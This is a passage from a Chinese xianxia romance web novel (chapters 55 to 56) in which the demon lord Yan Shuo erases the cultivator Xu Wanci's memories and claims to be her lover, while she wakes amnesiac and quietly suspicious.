他冷着脸,又把她拉到了碎云水面前。 这是两百年前引得修仙界无数渡劫修士争抢的至宝, 只是一滴,便足以提高百年修为, 毫无瓶颈的进阶。 而魔库,有一瓶。 许晚辞依旧不为所动。 言朔眼中暗色弥漫,他用魔气控制着许晚辞,一步一步看遍了整个魔库。 这里已经囊括了修仙界几百年来所有的至宝,每一样带给许晚辞的,都远远大于那件三叶莲。 无数至宝,在她面前却犹如过眼云烟,没有让她有任何的反应。 她平静得没有一丝波澜的看完了所有的至宝,转过头认真地看着言朔: “现在,可以把三叶莲还我了么?” 面对周围蓦然加重的汹涌魔气,许晚辞发出一声轻咳,却依旧没有移开目光,固执地等待他的回答。 言朔身上的魔气,紧紧地缠住了她的脖颈,眼中满是冰冷的暗色: “他已经死了一百年了,还能带给你什么?” “只是一件法器,没了这一个,还会有千千万万个。” 他的魔气并未用力,只是近乎缠绵地把她拉到了他的身前: “用它,换无上的至宝,不好么?” 他往前走了一步,一只手温柔地将她拉近怀中,声音响在她的耳侧,带着所有人都无法拒绝的诱惑: “只要你放下它,魔库中的至宝,任你挑选。” “只要你想要,就算这里没有,本尊也会为你取来。” 言朔魔气一动,方才装着碎云水的玉瓶落在了他的手中。 他伸出手,把玉瓶放在了许晚辞的掌心: “这只是其中之一,你还想要什么?” “什么都可以。” 许晚辞没有用力,任由玉瓶从她掌心坠落,落在魔晶制成的地面之上,发出清脆的声响。 她声音带着一丝沙哑: “可以把三叶莲,还我了么?” 言朔眼中再无一丝黑色,他双目猩红,周身魔气动荡,顶级魔晶构建而成的魔库,在这一刻,竟然有了细密的裂痕: 无数的至宝,在她心中,居然比不过区区一件三叶莲。 三叶莲,有什么好? 萧玉衍,又有什么好? 值得她放弃唾手可得的一切?! 这一刻,他根本理不清自己心中的情绪,只想把周围的一切全都摧毁殆尽。 只是,言朔看着缓缓闭上双眼,仿佛欣然赴死一般的许晚辞,眼中的猩红一点点褪去,暴动的魔气,也绕开了她的身影。 死对于她而言,是一种解脱。 他怎么可能让她这样轻易的死去? 言朔一挥手,所有的魔气尽数收敛,许晚辞的身体也再没有任何支撑,狼狈地跌落在了地上,手上的伤痕再次裂开,鲜血顺着地面,缓缓地流到了角落之中。 言朔面无表情地把三叶莲扔到了她的身前,看着她小心翼翼将它捧在掌心的模样,他眼中恶意翻涌: “你最好,永远都不要后悔。” 这时,许晚辞的鲜血,悄无声息的流到了角落中的一块儿已经没有一丝光芒,仿佛已经报废的留影石之上。 下一瞬,光芒乍起,一块儿带着雾气的镜面出现在了二人眼前。 言朔感受着透过留影石传来的灵气,眼中蓦然涌上无尽的冷意与厌恶。 镜中,仿佛天漏一般的魔气在天地间纵横叫嚣,摧毁着周围的一切。 魔气之中,隐约能看到一个月白色的身影。 他周身仿若带着静寂之巅的霜雪,清清冷冷,无波无澜,他淡漠地扫向世间,万物在他眼中不过一瞬。 再之后,他轻轻抬起手,周围已经厚重的如同实质的魔气一点点凝聚在他的掌心。 不过几息,天地回春,漫天的死寂之中,只余下他掌心的那粒魔珠。 那粒足以毁坏半个修仙界的魔珠,就这样在他手中,一点点湮灭在了世间。 他静静地站在半空之中,仙魔两界仿佛都是他的陪衬。 只一人,便敛尽了世间风华,却让人只能仰望,不敢有分毫僭越。 他淡淡扫过留影石所在的方向,下一瞬,魔库之中的留影石悄无声息的碎裂,化作飞灰融入了魔气之中。 许晚辞看着镜面消散的方向,双手紧握,用尽全力才堪堪控制住了自己的呼吸。 只是一眼,便足以让她清楚他的身份: 清衍仙尊。 原来这世间,真的有超出她认知的强大。 这样轻描淡写,却足以让整个修仙界都为之颤动的强大。 即使三叶莲已经让她不再同其他人一般惧怕清衍仙尊的灵气,可只是隔着留影石,感受到他的灵气后,依旧让她全身的灵力凝滞了一瞬,心跳更是已经完全不受控制。 这一刻,她忽然明白了为什么她编造出这个谎言时,所有人第一反应都是怀疑。 是啊,谁会信?? 呢? 若不是她知晓原著剧情,怕是早在说出那个谎言之后,便会被执法殿的两位长老杀之而后快。 许晚辞对面的言朔,看着萧玉衍那仿佛永远都高高在上的身影,眼中猩红遍布,却又在几息后,化为一片暗沉的漆黑。 那一次,若不是萧玉衍,魔界的范围应该是如今的一倍。 他也不会闭关百年。 这一刻,他心中所有的情绪,都化作极致的冰冷与杀意。 言朔看着怔愣的站在原地,眼中平静不在的许晚辞,杀意一点点将她围起: 只是鲜血,就激活了当时所有人都以为废掉的留影石。 清衍仙尊的……挚爱。 不知是想到了什么,他眼中恶意依旧,却停下了手: 不惧生死,不怕疼痛么? 他不信,她没有其他弱点。 如今萧玉衍深爱的人,就在他的手中。 他会用尽手段,一点点的让她崩溃,绝望。 谁叫如今在她身边的人,是他呢。 * 一日的时间,困扰整个魔界的一百零八处魔渊,已经毁了一半。 这些被毁掉的魔渊,需要数百年的时间再次凝聚出魔物,魔界的修士也获得了比之前安定许多的数百年的修炼时间。 而夜潇,也已经利用化身,将许晚辞百年来的所有经历,都查了出来。 许晚辞在太清宗外门时,寥寥几句话就足以概括。 天赋平平,喜好清净。 可是进入到内门之后,许晚辞不仅天赋提升了许多,性格更是变得偏执。 夜潇想起自己查到的许晚辞将楚青川错认为仙尊转世后所做的事情,目光带着几分复杂。 在知晓楚青川并非仙尊转世之后的那些事情,更是每一件都足够疯狂,足够惊心动魄。 三叶莲、上古战场、无相神石…… 这还只是她能查到的,还有许多,在太清宗内依旧是绝密。 夜潇感受着身前厚重的让她胆战心惊的魔气,根本不敢多想,头愈发的低。 言朔看着她呈上来的内容,唇角的弧度冰冷却又嘲讽: “以无相神石,祈愿他醒来。” “真是深情啊。” 他感受着心中翻涌的陌生情绪,把所有都归咎在了厌恶之上,他唇角的弧度一点点加深: 真是有趣。 费劲心力得到那样罕见的至宝,竟然是为了另一个人。 另一个早已消融于天地之间的人。 那么, 是谁告诉她,将神魂献祭给天道的人,还能醒来的? 一个多么容易戳破的谎言啊。 言朔眼中满是冷漠的兴味: 若是她得知了真相,表情一定会分外美妙。 他从枯骨凝成的王座上站起身,面前的魔纸寸寸湮灭。 许晚辞如今的所在,是距离幽魔殿最近的宫殿。 她安静地坐在魔床之上,感受着三叶莲对于识海的温养,在这一刻,紧绷的心终于放松了下来。 从表现出她对三叶莲重视的那一刻起,她就已经开始了这场以性命为筹码的赌注。 三叶莲对她太过重要,她必须赌。 况且,在言朔面前,她需要有一个弱点,一个让她能在他手中活下去的弱点。 她赌得是言朔不会让她得偿所愿。 她在他面前的表现,一直生死皆可,甚至对于死亡还有一种期许。 言朔不可能让她轻易死去。 只是这一点,她便有五成的概率活下去,有三成的概率重新得到三叶莲。 只是…… 想起魔库之中的至宝,她缓缓地闭上了双眼: 她确实不曾动心。 因为她知道,从言朔手中得到这些,付出的代价早已经超出了她的承受范围。 她想要得到什么,从来不会依托于任何人的施舍,她会自己将它拿到手。 她唯独没有想到的,是那块留影石。 百年前以身为祭,修补天道的……清衍仙尊。 她睁开双眼,强行把所有的情绪都压了下去,只留下了一片平静。 言朔来到这里时,便看到了许晚辞定定地看着三叶莲的场景。 他心中涌上了一股自己都未曾察觉的烦躁。 他身上的魔气勾住她的下巴,逼她转过头来看向他,只看向他。 看着她脸上同之前一般的清澈与平静,他终于扬起了唇角。 言朔一步一步走到了魔床边,他扫了一眼她手中紧握的三叶莲,声音恶劣: “若是魔库中有无相神石,你会舍得用它交换么?” 许晚辞握着三叶莲的手蓦然一紧,她抿着唇,依旧未曾开口。 言朔却已经得到了想要的答案: “看来不会。” “也是,你既然已经知道无相神石救不了他,那一块与两块,也并没有什么区别。” 许晚辞双眸之中,终于有了言朔的存在。 她声音清冷中带着一丝戒备: “魔尊到底想说什么?” 言朔俯下身,看着许晚辞瞳孔中自己的倒影,唇角的笑意缓缓加深: “你身为元婴,大抵不清楚什么叫以身祭天。” 他的手轻柔地拂过她鬓边的碎发,声音和缓却如同一道利刃,一寸寸的割在身前人的心上: “在他修复天道的那一刻,他神识会化作千万道碎片,融天,落地。” “融入天道的那一部分,会被天道吞没,再无一丝意识。” “落地的那些神识,会落入世间的一草一木,然后随之生长,消亡,再无一丝痕迹。” 言朔用魔气强硬地控制着许晚辞,让她根本不能躲避分毫。 他看着她的双眼,一字一句道: “已经过去了百年,你猜他落地的那些神识,剩下的可有万分之一?” “就算你能以天道祈愿,也不可能让他醒来。” 三叶莲蓦然刻入掌心,许晚辞双手一瞬间变得鲜血淋漓。 可是她的面色,却带着绝望至极后的冷静: “所以呢?” 仿若早就猜到了这个结果,她并没有崩溃,只是一字一句道: “你认为不能,便不能了么?” 言朔身边的魔气蓦然加剧,他漆黑的瞳孔中,猩红的纹路若隐若现: “你已经元婴,已经能够感受天地之力,难道你还想继续骗自己么?” “承认吧,这世间,根本没有救他的方法。” “无相神石没有用,什么都没有用。” “所以呢?”许晚辞静静地看着他,眼中纵然有疲惫,有伤怀,但却唯独没有放弃, “没有希望,就不能继续找了么?” 她声音平静而坚决:“只要我还活着,我就会去寻找,去寻找那一线生机。” 言朔手中已然带上了溢散的魔气,他感受着胸中隐现的愤怒,一字一句道: “根本不存在那一线生机。” “可也没有什么会阻止我。”许晚辞唇角扬起一个细微的弧度,她轻声道,“那我为什么不继续找下去呢?” “大不了就如同你所说,我穷尽一生都找不到让他醒来的办法。” 她看着他,目光安宁却又执着: “可那又如何?” “这一路,我永远都只会满怀期待。” “因为结局早已注定,在我死去的那一刻,我们终究相会。” 她拼尽一切,也不过只是想在失去所有意识的那一刻,再见他一面罢了。 言朔看着她眼中的坚定,第一次念出了她的名字:“许晚辞。” 他应该嘲讽、应该奚落她。 可是,最终他只是近乎困惑的问道:“你的一生,都只是为了他而存在么?” 许晚辞轻轻地笑了:“怎么会呢?” “我做的一切,明明都只是为了自己。” “是我想他醒来,是我想见到他,是我……从来不想放手。” 混沌之中。 萧玉衍听着自己的心跳声,眼中第一次没有了万物的存在。 他的目光,从始至终,都牢牢地落在了一个人的身上。 如同落雪般清冷安静,但却专注。 这一刻,他已经不仅仅只是想让她活着。 他还想…… 萧玉衍一只手覆上了自己的胸口,眼中带着一丝微不可查的困惑: 他还想……什么? 魔宫之中,听着许晚辞的话,言朔笑出了声,笑声带着挥之不去的自嘲。 他终于松开了钳制她的魔气,目光再无猩红,只剩下了深渊一般的漆黑。 他终于认清了自己一直以来涌现的陌生情绪到底是什么。 是嫉妒啊。 萧玉衍他凭什么,凭什么拥有这些。 天赋、地位、修为,甚至…… 许晚辞。 凭什么在他死后的百年,依旧有人为他燃尽生命,为他不顾一切,为他耗尽一生,去找那一个根本不存在的可能。 凭什么! 言朔欺身向前,目光带着让人心惊的专注:“许晚辞,你说的对。” “我是羡慕他。” “不,是嫉妒。” 他单膝跪在魔床之上,双手紧握在她的双肩,声音温柔的像是一声叹息: “不过没有关系。” “得到就好了。” 他眼中猩红的纹路逐渐涌现,然后在许晚辞的注视下,一点点加深,直到变成了极致的暗红。 言朔数百年都未曾用过一次的魔域,展开了。 许晚辞意识到了他想做什么,却根本无力抗拒,在言朔面前,她连闭上眼的力气都没有。 这是言朔与生俱来的魔域,能够改变人的认知。 只要他想,他可以让陷入魔域的人,一生被困其中,喜怒困苦皆有他来定制。 原著中言朔好奇楚青川气运之子的身份,于是用魔域将他困住,想看他能不能利用气运从中逃脱。 即使那时楚青川已经大乘后期的修为,即使有三叶莲作为辅助,他依旧在其中挣扎了数年,才终于找到了一条生路。 如今的她只有元婴修为,哪怕神识已经大乘,怕也很难从中全身而退。 这一瞬,心中冷静到了极点: 言朔方才说的是嫉妒。 他嫉妒她能一直记住萧玉衍,为他付出所有。 所以在魔域中,他最大的可能,是让她把不顾一切的对象,换成他。 言朔喜怒无常,疯狂至极,想要在他手下活下去,那她肯定不能让他如愿。 当他得偿所愿的那一瞬,她大抵会从他的消遣,变成一个没有任何价值的废人。 那时,她只有死路一条。 更何况,她绝不能让言朔察觉到她的谎言,不然,她将成为仙魔两界共同追杀的对象,她会跌入无尽深渊,会经历远比死亡更加恐怖的一切。 许晚辞紧紧地攥住手中的三叶莲,即使在魔域之中,三叶莲依旧温柔地滋养着她的神识。 她用尽最后一丝清明,用一丝魔域的气息,催眠了自己: 她有一个深爱之人。 他喜欢蓝色,喜欢三叶莲。 他的左手手腕处,有一颗红痣。 他会陪她一起看漫天繁星,也会为她种下一片化雨昙,他会指点她修炼,也会纵容的看着她偷懒。 他知道她所有的喜好,也会包容她所有的缺点。 他是这个世间,她最爱的人。 她亦是这世间,他唯一的挚爱。 她只是和他……走丢了,终会重逢。 他是…… 许晚辞的意识越来越模糊,到最后,浮现在她脑海的,是留影石中,那个敛尽风华,清冷胜雪的身影。 言朔看着即使失去意识,依旧死死攥住三叶莲不放的许晚辞,目光有一瞬间的晦暗。 他对上她空洞的目光,心中涌上一丝烦躁,他没有立刻动手,而是一字一句地问道: “萧玉衍他有哪里好?” 许晚辞的声音软糯中带着一丝困惑: “他有哪里不好么?” 言朔冷笑了一声,猩红的眼中满是恶意: “他不是都已经抛下你一百年了么?” “你胡说。”即使在魔域之中,她依旧认真的反驳,声音却多了几分失落,“是我把他弄丢了。” 言朔微不可查地眯起双眼,声音愈发轻柔: “那你为什么这么爱他?” 许晚辞有些困倦的揉了揉眼睛: “因为他是这个世界上,对我最好的人。” “他会陪我修炼,会为我做喜欢的糕点……” “他会和我做遍所有我想做的事情……” 她的声音越来越小,逐渐变得轻不可闻,眼睛也一点点的闭了起来。 言朔一只手覆在她的脑后,轻声问道:“还有么?” 许晚辞闭上双眼,声音轻的仿若呢喃: “他好看。” “他是我见过,最好看的人。” 言朔冷哼了一声,覆在她脑后的手,却温柔的让她躺回了床上: 只是如此简单的事情,就让她这般不顾一切。 真傻。 他定定地看着睡颜安详的许晚辞,眼中的猩红纹路再次加深: 要取代萧玉衍在她心中的地位么? 当然不。 他绝不可能成为任何人的影子,他永远都只是他自己。 他会比萧玉衍,对她好上百倍,千倍。 他会让许晚辞,之后的眼中、心中都只有他一人。 萧玉衍的挚爱,今后,只会是他的俘虏。 他们,会有比百年更漫长的时光。 看,他终究赢了他。 言朔将床上人的碎发抚到耳后,眼中猩红的纹路流转开来: “睡吧。” “醒来后,你会忘记一切,你的一生中,只会有我的存在。” 第55章 你不知道我最怕痛了么? 言朔看着魔床之上已经陷入沉睡的身影, 目光有森冷的恶意,但更多的,是他自己都没有察觉到的专注。 他扫过许晚辞即使在睡梦之中依旧微蹙的眉头,扫过她苍白的面色和纤瘦狼狈的身形, 最后停在了她紧握着三叶莲的双手之上。 身在魔界, 她身上的灵气被魔气压制, 伤势根本没有办法如同在修仙界一般愈合。 她掌心处方才被割伤的伤口, 鲜血依旧缓缓流淌, 将手中的三叶莲, 一点点的染上成了血红。 言朔目光倏地冷了下来。 他一抬手, 魔气毫不留情地把三叶莲从她手中拽了出来,让她的掌心又多了几道伤痕。 看着手中蓝色与血色交织的三叶莲,他手中魔气翻涌, 一点点将它吞噬。 就在这时, 一滴鲜血落在魔床之上, 发出了一声轻响。 言朔手中动作一顿,抬眸看向许晚辞。 看着她掌心的血痕,他眼中有猩红涌上, 却又被他强行压制,双眸之中只剩下了一片漆黑如墨的暗沉: 不过是一件法器罢了,留着又如何。 让萧玉衍炼制的法器, 见证许晚辞爱上他, 为他不顾一切, 倒也有趣。 他厌恶地把三叶莲扔到了一边,看着许晚辞手上越发碍眼的伤痕, 他俯下身,一点点把她的手掰开, 下一瞬,一滴灵芝水落入她的掌心,将所有的伤口尽数修复。 他用魔气,就如同擦去许晚辞心中的那个身影一般,一点点地擦拭着她掌心的血痕,直到再也看不出一点受伤的痕迹。 言朔站直身体,定定地看着一无所知,安静沉睡的许晚辞: 等她醒来后,会忘记一切,只记得他。 他会得到一个为了他生,为了他死,为了他倾尽一切的……许晚辞。 * 作为魔界唯一一个能用化身在修仙界内安然无恙行走的魔将,这段时间,夜潇忙的脚不沾地。 她三个化身一同出动,一个去了太清宗,探查许晚辞的过去,一个去了号称修仙界全知城的定丰城了解内情,还有一个在千佛寺周边的城池潜伏。 累得她魔身都瘦了一圈,就连体内的魔气都变得死寂沉沉,疯狂的叫嚣着想要休息。 只是,想起最近愈发喜怒无常,已经捏碎了魔界大半魔渊,随时都有可能对魔将下手的魔尊,她根本不敢有丝毫耽误。 她看着前方的宫殿,深吸一口气,视死如归的走入了幽魔殿中。 感受着殿内罕见至极,甚至已经称得上是平和的魔气,夜潇的脚步微不可查的顿了一瞬: 魔尊今天的心情……好像还不错? 她行完礼后,趁着魔尊心情尚可,赶紧将自己探听到的消息复述了一遍: 这段时间,太清宗的七长老谢听白,与江家的天才江泽都已经晋升为渡劫期,这两大势力本就是修仙界顶尖,如今更是站稳了第一宗门\第一世家的位置。 修仙界已经数十年未曾出现新晋的渡劫修士了,如今却一同出现了两位。 据她所知,这两人的进阶,或许都与许晚辞有关。 也难怪…… 如今修仙界各大宗门世家的人,以太清宗与江家为首,尽数聚集在了络龙城。 和之前无相神石那一次的针锋相对不同,这一次聚集在一起的各大渡劫修士虽然有些摩擦,但大都能和平相处。 这些人每日会聚在城主府中商议事务,只是面对这样多的渡劫修士,她的化身根本不敢太过靠近。 想到这里,夜潇的眼中闪过一丝复杂: 她知道许晚辞身份特殊,却也没有想到会让修仙界摆出这么大的架势。 甚至于…… 她低着头,声音带着一丝微不可查的颤动: “据化身探查,千佛寺中偶有异动,有可能是……佛子出关。” 三十年前,若不是那位佛子,魔尊也不会闭关到如今。 和她想象中的不同,言朔并没有暴怒,就连他身边的魔气都没有什么反应,依旧和方才一般近乎平和的弥漫于魔殿之中。 夜潇停顿了一瞬,才反应过来,继续道: “修仙界相传最有可能飞升的气运之子楚青川,这段时日在七煌沙漠中找寻七煌灵焰,虽然中途坎坷,但恰好在前段时日得到了灵焰克星……” 说起楚青川这段时间的经历,就连见多识广的她,也忍不住感叹一句气运非常。 难怪被修仙界断定为最有飞升可能的修士。 魔界不惧因果,却也终身只能在魔界沉沦,根本没有飞升希望。 所以对于他们而言,修仙界每一个有飞升可能的人,都是他们厌恶,甚至想要了结的对象。 只是,即使夜潇把楚青川的奇特之处都汇报了出来,言朔的面色依旧没有什么变化。 他扫过低头恭敬汇报的夜潇,一只手把玩着魔珠,冷不丁的问道: “你觉得女人喜欢什么?” 这一刻,夜潇的大脑停滞了一瞬: 她身为九品魔修,居然也会如同凡人一般幻听么?! 就在她沉默的这一瞬,幽魔殿内的魔气忽然多了几分躁动的杀意。 夜潇一个战栗,瞬间回过了神,这一刻,她的大脑飞速转动: 魔尊刚刚问的是……女人喜欢什么? 最近出现在魔尊身边的女人,就只有…… 可是明明魔尊之前还对许晚辞厌恶至极…… 感受着言朔身上愈发不耐的魔气,夜潇再也顾不上其他,一脸恭敬道: “若是如同许小姐一般的修士,大抵会对修炼更为上心。” 感受着周围缓缓消退的杀气,她松了一口气,赶紧继续道: “所以许小姐定然会喜欢那些天材地宝和符箓法器。” “除了修炼外,修仙界的女修大都喜欢罗裙发钗、玉器首饰……” 言朔阖着双目,面色平淡的听着。 听到夜潇洋洋洒洒的说了一通后,他面色依旧未变,声音更是带着满不上心的淡漠: “那就这些。” “去准备吧。” 夜潇赶紧行了一礼:“是。” 就在她起身想要离开幽魔殿时,言朔不紧不慢地敲了敲跟在他身边的魔珠,声音带着一丝兴味: “昭告魔界,本尊的魔后出现了。” 即使夜潇已经猜到了几分,但是听到他的声音,心中依旧不受控制的颤了一下: 许晚辞……不是清衍仙尊的挚爱么? 魔尊厌恶仙尊至此,怎么会? 仿佛是想到了什么,她在言朔不耐之前,赶紧行礼道: “魔尊与魔后天生一对,虽之前有小人阻碍,但终得圆满。” “属下恭贺魔尊。” 言朔闻言终于睁开双眼,目光第一次落在了战战兢兢的夜潇身上。 他眉梢微挑: “魔库里有件千魔珠,自己去取吧。” 夜潇声音蓦然拔高:“多谢魔尊!” 言朔身为魔界至尊,想对一个人好,根本不用做什么,只要吩咐一声,就会有人无数人把至宝捧到那个人面前,将她捧上云端。 她会拥有无数天材地宝,仅次于魔尊的地位和无上的权力。 当然,当他觉得无趣后,也随时都可以收回这一切,然后轻笑着看她坠入地狱。 不过一日的时间,幽魔殿不远处的暗暝楼便被装饰成了与魔界完全不同的模样。 修仙界人尽皆争的玉明石高悬于天际,散发着温暖的光芒,将暗暝楼照耀的如同修仙界的白日一般。 暗暝楼中的灵树换了三次,从一开始的幻颜树,到花香满天的清梨树,到最后枫叶似火的落枫树。 周围的魔气被限制在外,清风吹过,落了一地的红枫。 阁楼之中,入目所及,皆是修仙界中难得的法器灵宝。 千年墨玉雕刻而成玉床之上,一个一身红衣的纤瘦身影安静的躺在那里。 她眉眼间似乎带着若有若无的愁绪,唇色浅淡,在红衣的映衬下,更多了几分脆弱的惊艳。 暗红的裙摆落在墨色的玉床上,勾勒出几分惊心动魄的美感。 如今许晚辞身上的伤势,已经被各种天材地宝完全修复,神识在至宝的滋养下,已经突破了大乘界限,朝着渡劫而去。 若不是因为身在魔界,无法进阶,怕是她的修为已经被灵宝硬生生的堆上了大乘。 当魔域完全改变了她认知的那一刻,她就会醒来。 言朔站在床前,静静地看着一身红衣,睡颜如初的许晚辞,蓦然响起了她满身伤痕,血染蓝衣看向他场景: 果然,红色更适合她。 这时,她仿佛是察觉到了他的注视,浓密的睫毛微微颤动,下一刻便睁开了双眼,露出了一双如孩童般纯澈的瞳孔。 许晚辞看着面前陌生的场景,脑海中有陌生的画面一闪而过,最后只留下了一片空白。 她茫然地眨了眨眼睛: 这里……是哪儿? 许晚辞感觉着自己一片混沌的大脑,眉心微蹙,眼中有慌乱一闪而过。 随即,她几乎是下意识逼自己冷静了下来,一边本能地调动丹田中的灵力,一边不动声色的观察着周围的环境: 入目皆是奢华雅致,黑色与暗红完美的融合在了一起,一定程度上彰显着房间主人的性格。 这样的装饰,看来她的现状,并不危险。 这时,许晚辞终于发现了站在床头处的身影。 只是一眼,便足以让她意识到他的强大。 他生着一张堪称惊艳的脸,眉目绝色却带着无可比拟的强大与冷漠,漆黑的双目扫来,让人胆战心惊,不敢擅动。 许晚辞不知道他的身份,但她的本能告诉她,她不能在这个人面前露怯。 她坐起身,看着身上暗红的衣裙后,视线微不可查的一顿,随即侧过头,稍显疑惑地问道: “请问您是……” 言朔看着她即使失去记忆,依旧在他面前表现的平静自若的许晚辞,眼中带上了几分兴味。 他漫不经心低扫了她一眼,声音有着几分浮于表面的伤心: “晚辞不记得我了么?” 许晚辞听到他的声音后,像是想到了什么,声音带着一丝空洞: “你是……言朔。” “是我的……” 是她的什么人呢? 言朔俯下身,眼中猩红的纹路一点点涌现: “是你的挚爱。” “言朔是你此生,唯一深爱之人。” 许晚辞听着他的声音,不知为何,脑海中有一个蓝色的身影一闪而过。 回过神时,她眼前被墨色环绕。 言朔一身黑衣,坐在了床侧,一只手温柔地拂过她的侧脸。 墨玉床上,他的黑衣与她的红衣交织在一起,看起来密不可分。 言朔把所有的恶意深深埋藏,他轻笑着问道:“怎么了?” 许晚辞缓缓的眨了眨双眼,虽然心中有一个声音一直在告诉她,身旁的人是她一生所爱。 可是不知为何,她总是觉得好像有哪里不对。 仿佛是察觉到了她的走神,言朔伸出手轻轻地敲了一下她的额头:“回神了。” 许晚辞自认为隐蔽地往后挪了挪身体,拉开了两人之间的距离。 她冷静下来,是试探,也带着一点恶人先告状的意味: “既然你我这样恩爱,那你为什么没有发现我失忆了?” “我总不可能无缘无故失忆……难道你根本不知道我之前经历了什么?” “甚至不知道我受伤了?” 她对周围的事情一无所知,失去记忆的事情根本无法隐瞒,还不如在一开始便透露出来。 言朔听着她脆生生的质问,唇角的笑意一点点加深,他声音闲适: “嗯,看起来活蹦乱跳的,伤势应该已无大碍。” “所以我真的受伤了?”许晚辞看着他漫不经心的表情,不顾上心中的警惕,赶紧检查起了自己的伤势,声音满是担忧,“还是能导致失忆的重伤?” 看到自己身上并没什么伤口,也没有什么不适后,她终于松了一口气,只是看向身旁人的目光却带着一丝质疑与控诉: “我们关系真的好么?” “我受了这么重的伤,你为什么看起来这么平淡?” 言朔看着许晚辞比之前精神了许多,眼中再也不只是平静与死寂的模样,指尖一动。 他身上的魔气,温柔地拂过她的裙角,声音闲适道: “魔界快一半的灵宝都用在了你的身上,你若还是有事……” 他的魔气蓦然将她拉到了身前,眼中仿若有无限深情:“怕是我只能陪你殉情了。” 听着他的话,许晚辞有些诧异的抬起头,对上了言朔漆黑的双眸。 她蓦然回过了神,声音却没有了方才的理直气壮: “那你不知道我最怕痛了么?” “那么重的伤势刚好,你都不关心我两句?” 言朔的目光微不可查的一顿: 她……怕痛? 从他见到她的那一刻起,她好像就一直在受伤。 就连丹田与神识都透支到了极限,可是那时莫说是怕,她就连面色都从未变过分毫。 他只是洗去了她的记忆,并没有改变她所有的喜好。 所以,在很久之前,她也会怕痛。 言朔看了许晚辞一眼,目光带上了几分晦暗,却很快被不动声色的遮掩过去。 他声音中的温柔似乎多了几分真切: “是我的错。” 许晚辞移开了视线,她感受着心中那个让她相信他,靠近他的声音,缓缓地眨了眨眼睛。 虽然她没有过去的记忆,但是隐约能察觉到,身侧的人……应该不会害她。 她转过头,试探性地问道: “既然我们关系这么好,想必你应该对我很了解。” “那我最喜欢什么?” 言朔声音平淡的仿佛只是陈述一个事实: “我。” 许晚辞目光带着一丝狐疑。 她看了他一眼,没有多说什么,只是又问了一句: “那我最讨厌什么?” 言朔唇角的笑意带上了一丝恶劣: “你当然最厌恶修仙界那些道貌岸然的修士。” “尤其是百年前还活着的那一个。” 第56章 神明尚未理解,却已经有了欲望与嫉妒的存在 许晚辞听着言朔的话, 脸上带着几分云里雾里的茫然。 她没有过去的记忆,也根本不知道他口中那个百年前还活着的人究竟是谁? 只是…… 她厌恶修仙界的修士么? 许晚辞感受了一下心中的情绪,缓缓地眨了眨眼睛: 好像……并没有。 所以,她身旁的这个人, 真的是她亲密无间的爱人么? 言朔的话, 她又真的可以相信么? 她没有转头, 只是安静地看着自己暗红色的衣裙, 心中冷静的把醒来后发生的一切捋了一遍: 她之前重伤失忆, 如今方醒。 按照言朔的说法, 她与他相爱, 重伤之后被他用魔界大半的至宝给救了回来。 魔界……至宝? 许晚辞像是意识到了什么,稍显呆滞的转过头,声音带着一丝不可置信: “你是……魔修?” 她虽然失去了记忆, 但是依旧有着一些常识与本能。 不管她是不是真的厌恶修仙界的修士, 她都很肯定, 自己就是修士。 就算她什么都不懂,但也知晓仙魔两界从来纷争不断。 他们二人这种差别甚大的身份,怎么就成为了一对爱侣? 言朔看着她后知后觉的震惊模样, 微不可查地扬了扬唇角,声音带着几分恰如其分的伤心: “晚辞还真是无情啊。” “曾经因为魔修的身份对我另眼相待,如今却反复无常, 开始嫌弃起我的身份了么?” 许晚辞看着言朔脸上稍显漫不经心的表情, 张了张嘴, 最后还是什么都没有说: 是不是,太假了? 她总觉得, 要是让她自己演这一幕的话,她演的肯定比他好上无数倍。 只是…… 许晚辞感受着心中想要相信他的欲望, 心中却愈发冷静和……警惕。 因为她在内心深处,察觉到了一丝隐蔽的危机。 她的本能告诉她,面前的人,很危险,她不是对手。 她现在最重要的是弄清现状与自己的过去。 想到这里,她面色依旧满是茫然,她略显困惑地眨了眨眼睛: “可是仙魔有别,又向来敌对……” 许晚辞转过身子,跪坐在言朔面前,认真地看着他: “既然你说……我们是恋人。” “那我们是如何相遇,如何相知,我又为什么会身受重伤,来到这里?” 言朔并不疑惑她会问出这个问题。 他看着一身红衣,眼中只有他一人的许晚辞,眸色漆黑之中,似乎有了几分温柔的意味。 他一只手撩起她锁骨前的长发,看着漆黑的发丝一点点从指尖划过,他唇角的笑意一点点加深: “晚辞希望有怎样的相遇,我们便会有怎样的相遇。” “如果和我相关的过去,会让你记起那些不开心的曾经。”言朔把她身前的长发,轻轻地撩到身后,声音听起来仿若带着无限深情,温柔得让人想要沉醉其中, “那忘记也无妨。” 他轻描淡写地把许晚辞的过去抹去,略显蛊惑的继续道: “我们还有很漫长的未来,何必浪费时间,去找你根本不想记得的那些记忆?” 许晚辞感受着脖颈处发丝划过的细微痒意,心中愈发冷静,她冷酷而强硬的压下了心中对身前人的依恋: 不管他说得有多好,其实她只听出了一件事: 他不想她记起来过去。 为什么? 如果他们真的亲密无间,又为何需要瞒着她那些过去? 在得知爱侣失忆后,第一反应难道不应该是努力让她记起么? 除非,那些回忆?? …… 想到这里,她心中依旧冷静,面色却多了几分迷茫,她仿佛是有些不安地往后仰了一下上半身,想拉开和身前人的距离,声音带着对身前人的信任: “可是现在我对所有的一切都一无所知。” “这种感觉,真的很……让人害怕。” 言朔听着她声音中隐隐透露出来的脆弱与依赖,一点点隐藏起了眼中的贪婪,漆黑的双眸中似乎有暗潮涌动,最后被浮于表面的温柔牢牢压制: “晚辞,你应该知晓自己的性格。” “如果不是无法接受,你又怎么会选择忘记一切?” 他一只手安抚似地抚了抚她的长发:“我只是不想违背曾经的你做出的决定。” “没关系,等你熟悉以后,会喜欢上现在的所有。” 包括他。 许晚辞抬起头,蓦然对上了言朔漆黑如墨、专注至极的目光,她不适应一般地侧过了头,避开了他的视线: 他的话看似没有什么破绽,能够自圆其说,可是却又什么都没有透露。 她依旧对自己的过去一无所知。 真的如他说得那般,她是因为过去太过悲惨,所以才主动忘记的么? 许晚辞指尖微不可查的动了动: 她不应该是这样的性格。 若是真的艰难到了极点…… 她只会挣扎着走出一条生路,然后把每一步都记在心间。 就算失去所有的记忆,可她依旧是她。 想到这里,许晚辞缓缓地眨了眨眼睛,眨去了眼中所有的疑惑,只剩下了一片让人心安的懵懂与迷茫。 言朔看着她面色虽然有茫然,也有疑惑,却始终没有抗拒他靠近的模样,眼睛微不可查地眯了一下。 他伸出手,手背轻柔地触碰了一下她的侧脸: “在想什么?” 许晚辞被他的动作吓了一跳,手下意识地往旁边一扫,指尖忽然碰到了一个陌生而冰冷的物件。 